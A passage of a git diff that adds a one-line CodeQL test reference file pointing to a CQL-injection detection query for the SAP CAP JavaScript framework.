\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref
new file mode 100644
index 000000000..d6231d2ad
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.qlref
@@ -0,0 +1 @@
+cqlinjection/CqlInjection.ql
\ No newline at end of file